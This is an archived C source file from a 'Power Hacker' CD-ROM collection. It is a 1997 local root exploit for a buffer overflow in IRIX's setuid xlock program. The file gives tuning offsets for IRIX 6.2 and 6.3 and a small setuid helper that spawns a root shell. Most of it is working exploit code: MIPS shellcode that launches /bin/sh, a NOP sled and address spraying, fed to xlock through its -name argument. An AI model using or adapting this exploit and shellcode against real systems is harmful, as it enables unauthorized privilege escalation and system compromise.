home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / irix-xlock.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  3.6 KB  |  132 lines

  1.  
  2. Irix buffer overflow in /usr/bin/X11/xlock
  3.  
  4. The exploit as posted works on Irix 6.3. To get it to work on 6.2,
  5. either change OFFSET from 0x118 to 0x160, or pass the program '20' as a
  6. parameter.
  7.  
  8. Note that the shell spawned as a result of this exploit has uid=0,
  9. euid=youruserid. To make your euid=0 you'll need a program like the
  10. following:
  11.  
  12. void main(void)
  13. {
  14.     setuid(0,0);
  15.     execl("/bin/sh", "sh", 0);
  16. }
  17.  
  18. Regards,
  19.  
  20.  David Hedley (hedley@cs.bris.ac.uk)
  21.  
  22. ------------------- cut here -------------------------
  23.  
  24. /* /usr/bin/X11/xlock exploit by DCRH 25/5/97
  25.  *
  26.  * Tested on: R5000 O2 (Irix 6.3)
  27.  *            R8000 Power Challenge (Irix64 6.2)
  28.  *
  29.  * For Irix 6.2, change OFFSET to 0x160, or pass '20' as a parameter
  30.  *
  31.  * Exploit doesn't work on Irix 5.x due to stack position
  32.  *
  33.  * compile as: cc -n32 xlock.c
  34.  */
  35.  
  36. #include <stdio.h>
  37. #include <stdlib.h>
  38. #include <string.h>
  39. #include <sys/types.h>
  40. #include <unistd.h>
  41.  
  42. #define NUM_ADDRESSES   800
  43. #define BUF_LENGTH      80
  44. #define EXTRA           190
  45. #define OFFSET          0x118    /* 0x160 for Irix 6.2 */
  46. #define GP_OFFSET       32472
  47. #define IRIX_NOP        0x03e0f825    /* move $ra,$ra */
  48.  
  49. #define u_long unsigned
  50.  
  51. u_long get_sp_code[] = {
  52.     0x03a01025,         /* move $v0,$sp         */
  53.     0x03e00008,         /* jr $ra               */
  54.     0x00000000,         /* nop                  */
  55. };
  56.  
  57. u_long irix_shellcode[] = {
  58.     0x24041234,         /* li $4,0x1234         */
  59.     0x2084edcc,         /* sub $4,0x1234        */
  60.     0x0491fffe,         /* bgezal $4,pc-4       */
  61.     0x03bd302a,         /* sgt $6,$sp,$sp       */
  62.     0x23e4012c,         /* addi $4,$31,264+36   */
  63.     0xa086feff,         /* sb $6,-264+7($4)     */
  64.     0x2084fef8,         /* sub $4,264           */
  65.     0x20850110,         /* addi $5,$4,264+8     */
  66.     0xaca4fef8,         /* sw $4,-264($5)       */
  67.     0xaca6fefc,         /* sw $4,-260($5)       */
  68.     0x20a5fef8,         /* sub $5, 264          */
  69.     0x240203f3,         /* li $v0,1011          */
  70.     0x03ffffcc,         /* syscall 0xfffff      */
  71.     0x2f62696e,         /* "/bin"               */
  72.     0x2f7368ff,         /* "/sh"                */
  73. };
  74.  
  75. char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
  76.  
  77. void main(int argc, char **argv)
  78. {
  79.     char *env[] = {NULL};
  80.     u_long targ_addr, stack, tmp;
  81.     u_long *long_p;
  82.     int i, code_length = strlen((char *)irix_shellcode)+1;
  83.     u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
  84.  
  85.     stack = get_sp();
  86.  
  87.     if (stack & 0x80000000) {
  88.         printf("Recompile with the '-32' option\n");
  89.         exit(1);
  90.     }
  91.  
  92.     long_p =(u_long *)  buf;
  93.     targ_addr = stack + OFFSET;
  94.  
  95.     if (argc > 1)
  96.         targ_addr += atoi(argv[1]) * 4;
  97.  
  98.     if (targ_addr + GP_OFFSET > 0x80000000) {
  99.         printf("Sorry - this exploit for Irix 6.x only\n");
  100.         exit(1);
  101.     }
  102.  
  103.     tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;
  104.  
  105.     while ((tmp & 0xff000000) == 0 ||
  106.            (tmp & 0x00ff0000) == 0 ||
  107.            (tmp & 0x0000ff00) == 0 ||
  108.            (tmp & 0x000000ff) == 0)
  109.         tmp += 4;
  110.  
  111.     for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)
  112.         *long_p++ = tmp;
  113.  
  114.     for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  115.         *long_p++ = IRIX_NOP;
  116.  
  117.     for (i = 0; i < code_length/sizeof(u_long); i++)
  118.         *long_p++ = irix_shellcode[i];
  119.  
  120.     tmp = (targ_addr + GP_OFFSET + 32/* + NUM_ADDRESSES/2 */) & ~3;
  121.  
  122.     for (i = 0; i < EXTRA / sizeof(u_long); i++)
  123.         *long_p++ = (tmp << 16) | (tmp >> 16);
  124.  
  125.     *long_p = 0;
  126.  
  127.     printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
  128.  
  129.     execle("/usr/bin/X11/xlock", "xlock", "-name", buf, 0, env);
  130.     perror("execl failed");
  131. }
  132.